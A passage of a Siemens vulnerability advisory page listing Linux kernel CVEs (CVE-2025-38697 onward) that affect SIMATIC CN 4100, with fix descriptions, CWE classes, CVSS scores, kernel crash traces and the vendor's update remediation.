String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. This could happen in a scenario where the filesystem metadata are corrupted.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38698\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: Regular file corruption check The reproducer builds a corrupted file on disk with a negative i_size value. Add a check when opening this file to avoid subsequent operation failures.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38699\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: bfa: Double-free fix When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL. Subsequently, during driver uninstallation, when the state machine enters the bfad_sm_stopping state and calls the bfad_im_probe_undo() function, it attempts to free the memory pointed to by bfad->im again, thereby triggering a double-free vulnerability. Set bfad->im to NULL if probing fails.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-415 Double Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.4\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38700\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Initialize iscsi_conn->dd_data only if memory is allocated In case of an ib_fast_reg_mr allocation failure during iSER setup, the machine hits a panic because iscsi_conn->dd_data is initialized unconditionally, even when no memory is allocated (dd_size == 0). This leads invalid pointer dereference during connection teardown. Fix by setting iscsi_conn->dd_data only if memory is actually allocated. Panic trace: ------------ iser: iser_create_fastreg_desc: Failed to allocate ib_fast_reg_mr err=-12 iser: iser_alloc_rx_descriptors: failed allocating rx descriptors / data buffers BUG: unable to handle page fault for address: fffffffffffffff8 RIP: 0010:swake_up_locked.part.5+0xa/0x40 Call Trace: complete+0x31/0x40 iscsi_iser_conn_stop+0x88/0xb0 [ib_iser] iscsi_stop_conn+0x66/0xc0 [scsi_transport_iscsi] iscsi_if_stop_conn+0x14a/0x150 [scsi_transport_iscsi] iscsi_if_rx+0x1135/0x1834 [scsi_transport_iscsi] ? netlink_lookup+0x12f/0x1b0 ? netlink_deliver_tap+0x2c/0x200 netlink_unicast+0x1ab/0x280 netlink_sendmsg+0x257/0x4f0 ? _copy_from_user+0x29/0x60 sock_sendmsg+0x5f/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38701\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr A syzbot fuzzed image triggered a BUG_ON in ext4_update_inline_data() when an inode had the INLINE_DATA_FL flag set but was missing the system.data extended attribute. Since this can happen due to a maiciouly fuzzed file system, we shouldn't BUG, but rather, report it as a corrupted file system. Add similar replacements of BUG_ON with EXT4_ERROR_INODE() ii ext4_create_inline_data() and ext4_inline_data_truncate().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38702\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: fix potential buffer overflow in do_register_framebuffer() The current implementation may lead to buffer overflow when: 1. Unregistration creates NULL gaps in registered_fb[] 2. All array slots become occupied despite num_registered_fb < FB_MAX 3. The registration loop exceeds array bounds Add boundary check to prevent registered_fb[FB_MAX] access.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38706\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime() snd_soc_remove_pcm_runtime() might be called with rtd == NULL which will leads to null pointer dereference. This was reproduced with topology loading and marking a link as ignore due to missing hardware component on the system. On module removal the soc_tplg_remove_link() would call snd_soc_remove_pcm_runtime() with rtd == NULL since the link was ignored, no runtime was created.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38707\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38708\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drbd: add missing kref_get in handle_write_conflicts With `two-primaries` enabled, DRBD tries to detect \"concurrent\" writes and handle write conflicts, so that even if you write to the same sector simultaneously on both nodes, they end up with the identical data once the writes are completed. In handling \"superseeded\" writes, we forgot a kref_get, resulting in a premature drbd_destroy_device and use after free, and further to kernel crashes with symptoms. Relevance: No one should use DRBD as a random data generator, and apparently all users of \"two-primaries\" handle concurrent writes correctly on layer up. That is cluster file systems use some distributed lock manager, and live migration in virtualization environments stops writes on one node before starting writes on the other node. Which means that other than for \"test cases\", this code path is never taken in real life. FYI, in DRBD 9, things are handled differently nowadays. We still detect \"write conflicts\", but no longer try to be smart about them. We decided to disconnect hard instead: upper layers must not submit concurrent writes. If they do, that's their fault.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38711\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb/server: avoid deadlock when linking with ReplaceIfExists If smb2_create_link() is called with ReplaceIfExists set and the name does exist then a deadlock will happen. ksmbd_vfs_kern_path_locked() will return with success and the parent directory will be locked. ksmbd_vfs_remove_file() will then remove the file. ksmbd_vfs_link() will then be called while the parent is still locked. It will try to lock the same parent and will deadlock. This patch moves the ksmbd_vfs_kern_path_unlock() call to *before* ksmbd_vfs_link() and then simplifies the code, removing the file_present flag variable.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38712\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file() When the volume header contains erroneous values that do not reflect the actual state of the filesystem, hfsplus_fill_super() assumes that the attributes file is not yet created, which later results in hitting BUG_ON() when hfsplus_create_attributes_file() is called. Replace this BUG_ON() with -EIO error with a message to suggest running fsck tool.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38713\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc() The hfsplus_readdir() method is capable to crash by calling hfsplus_uni2asc(): [ 667.121659][ T9805] ================================================================== [ 667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10 [ 667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805 [ 667.124578][ T9805] [ 667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full) [ 667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 667.124890][ T9805] Call Trace: [ 667.124893][ T9805] [ 667.124896][ T9805] dump_stack_lvl+0x10e/0x1f0 [ 667.124911][ T9805] print_report+0xd0/0x660 [ 667.124920][ T9805] ? __virt_addr_valid+0x81/0x610 [ 667.124928][ T9805] ? __phys_addr+0xe8/0x180 [ 667.124934][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124942][ T9805] kasan_report+0xc6/0x100 [ 667.124950][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124959][ T9805] hfsplus_uni2asc+0x902/0xa10 [ 667.124966][ T9805] ? hfsplus_bnode_read+0x14b/0x360 [ 667.124974][ T9805] hfsplus_readdir+0x845/0xfc0 [ 667.124984][ T9805] ? __pfx_hfsplus_readdir+0x10/0x10 [ 667.124994][ T9805] ? stack_trace_save+0x8e/0xc0 [ 667.125008][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125015][ T9805] ? trace_lock_acquire+0x85/0xd0 [ 667.125022][ T9805] ? lock_acquire+0x30/0x80 [ 667.125029][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125037][ T9805] ? down_read_killable+0x1ed/0x4c0 [ 667.125044][ T9805] ? putname+0x154/0x1a0 [ 667.125051][ T9805] ? __pfx_down_read_killable+0x10/0x10 [ 667.125058][ T9805] ? apparmor_file_permission+0x239/0x3e0 [ 667.125069][ T9805] iterate_dir+0x296/0xb20 [ 667.125076][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.125084][ T9805] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 667.125091][ T9805] ? __x64_sys_openat+0x141/0x200 [ 667.125126][ T9805] ? __pfx_filldir64+0x10/0x10 [ 667.125134][ T9805] ? do_user_addr_fault+0x7fe/0x12f0 [ 667.125143][ T9805] do_syscall_64+0xc9/0x480 [ 667.125151][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9 [ 667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48 [ 667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9 [ 667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9 [ 667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004 [ 667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110 [ 667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260 [ 667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 667.125207][ T9805] [ 667.125210][ T9805] [ 667.145632][ T9805] Allocated by task 9805: [ 667.145991][ T9805] kasan_save_stack+0x20/0x40 [ 667.146352][ T9805] kasan_save_track+0x14/0x30 [ 667.146717][ T9805] __kasan_kmalloc+0xaa/0xb0 [ 667.147065][ T9805] __kmalloc_noprof+0x205/0x550 [ 667.147448][ T9805] hfsplus_find_init+0x95/0x1f0 [ 667.147813][ T9805] hfsplus_readdir+0x220/0xfc0 [ 667.148174][ T9805] iterate_dir+0x296/0xb20 [ 667.148549][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.148937][ T9805] do_syscall_64+0xc9/0x480 [ 667.149291][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.149809][ T9805] [ 667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000 [ 667.150030][ T9805] which belongs to the cache kmalloc-2k of size 2048 [ 667.151282][ T9805] The buggy address is located 0 bytes to the right of [ 667.151282][ T9805] allocated 1036-byte region [ffff88802592f000, ffff88802592f40c) [ 667.1 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read() The hfsplus_bnode_read() method can trigger the issue: [ 174.852007][ T9784] ================================================================== [ 174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360 [ 174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784 [ 174.854059][ T9784] [ 174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full) [ 174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 174.854286][ T9784] Call Trace: [ 174.854289][ T9784] [ 174.854292][ T9784] dump_stack_lvl+0x10e/0x1f0 [ 174.854305][ T9784] print_report+0xd0/0x660 [ 174.854315][ T9784] ? __virt_addr_valid+0x81/0x610 [ 174.854323][ T9784] ? __phys_addr+0xe8/0x180 [ 174.854330][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854337][ T9784] kasan_report+0xc6/0x100 [ 174.854346][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854354][ T9784] hfsplus_bnode_read+0x2f4/0x360 [ 174.854362][ T9784] hfsplus_bnode_dump+0x2ec/0x380 [ 174.854370][ T9784] ? __pfx_hfsplus_bnode_dump+0x10/0x10 [ 174.854377][ T9784] ? hfsplus_bnode_write_u16+0x83/0xb0 [ 174.854385][ T9784] ? srcu_gp_start+0xd0/0x310 [ 174.854393][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854402][ T9784] hfsplus_brec_remove+0x3d2/0x4e0 [ 174.854411][ T9784] __hfsplus_delete_attr+0x290/0x3a0 [ 174.854419][ T9784] ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10 [ 174.854427][ T9784] ? __pfx___hfsplus_delete_attr+0x10/0x10 [ 174.854436][ T9784] ? __asan_memset+0x23/0x50 [ 174.854450][ T9784] hfsplus_delete_all_attrs+0x262/0x320 [ 174.854459][ T9784] ? __pfx_hfsplus_delete_all_attrs+0x10/0x10 [ 174.854469][ T9784] ? rcu_is_watching+0x12/0xc0 [ 174.854476][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854483][ T9784] hfsplus_delete_cat+0x845/0xde0 [ 174.854493][ T9784] ? __pfx_hfsplus_delete_cat+0x10/0x10 [ 174.854507][ T9784] hfsplus_unlink+0x1ca/0x7c0 [ 174.854516][ T9784] ? __pfx_hfsplus_unlink+0x10/0x10 [ 174.854525][ T9784] ? down_write+0x148/0x200 [ 174.854532][ T9784] ? __pfx_down_write+0x10/0x10 [ 174.854540][ T9784] vfs_unlink+0x2fe/0x9b0 [ 174.854549][ T9784] do_unlinkat+0x490/0x670 [ 174.854557][ T9784] ? __pfx_do_unlinkat+0x10/0x10 [ 174.854565][ T9784] ? __might_fault+0xbc/0x130 [ 174.854576][ T9784] ? getname_flags.part.0+0x1c5/0x550 [ 174.854584][ T9784] __x64_sys_unlink+0xc5/0x110 [ 174.854592][ T9784] do_syscall_64+0xc9/0x480 [ 174.854600][ T9784] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167 [ 174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08 [ 174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 [ 174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167 [ 174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50 [ 174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40 [ 174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0 [ 174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 174.854658][ T9784] [ 174.854661][ T9784] [ 174.879281][ T9784] Allocated by task 9784: [ 174.879664][ T9784] kasan_save_stack+0x20/0x40 [ 174.880082][ T9784] kasan_save_track+0x14/0x30 [ 174.880500][ T9784] __kasan_kmalloc+0xaa/0xb0 [ 174.880908][ T9784] __kmalloc_noprof+0x205/0x550 [ 174.881337][ T9784] __hfs_bnode_create+0x107/0x890 [ 174.881779][ T9784] hfsplus_bnode_find+0x2d0/0xd10 [ 174.882222][ T9784] hfsplus_brec_find+0x2b0/0x520 [ 174.882659][ T9784] hfsplus_delete_all_attrs+0x23b/0x3 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hfs: fix slab-out-of-bounds in hfs_bnode_read() This patch introduces is_bnode_offset_valid() method that checks the requested offset value. Also, it introduces check_and_correct_requested_length() method that checks and correct the requested length (if it is necessary). These methods are used in hfs_bnode_read(), hfs_bnode_write(), hfs_bnode_clear(), hfs_bnode_copy(), and hfs_bnode_move() with the goal to prevent the access out of allocated memory and triggering the crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38721\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res < 0) { nf_conntrack_get(&ct->ct_general); // HERE cb->args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet->count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res < 0) { if (ct != last) nf_conntrack_get(&ct->ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-772 Missing Release of Resource after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 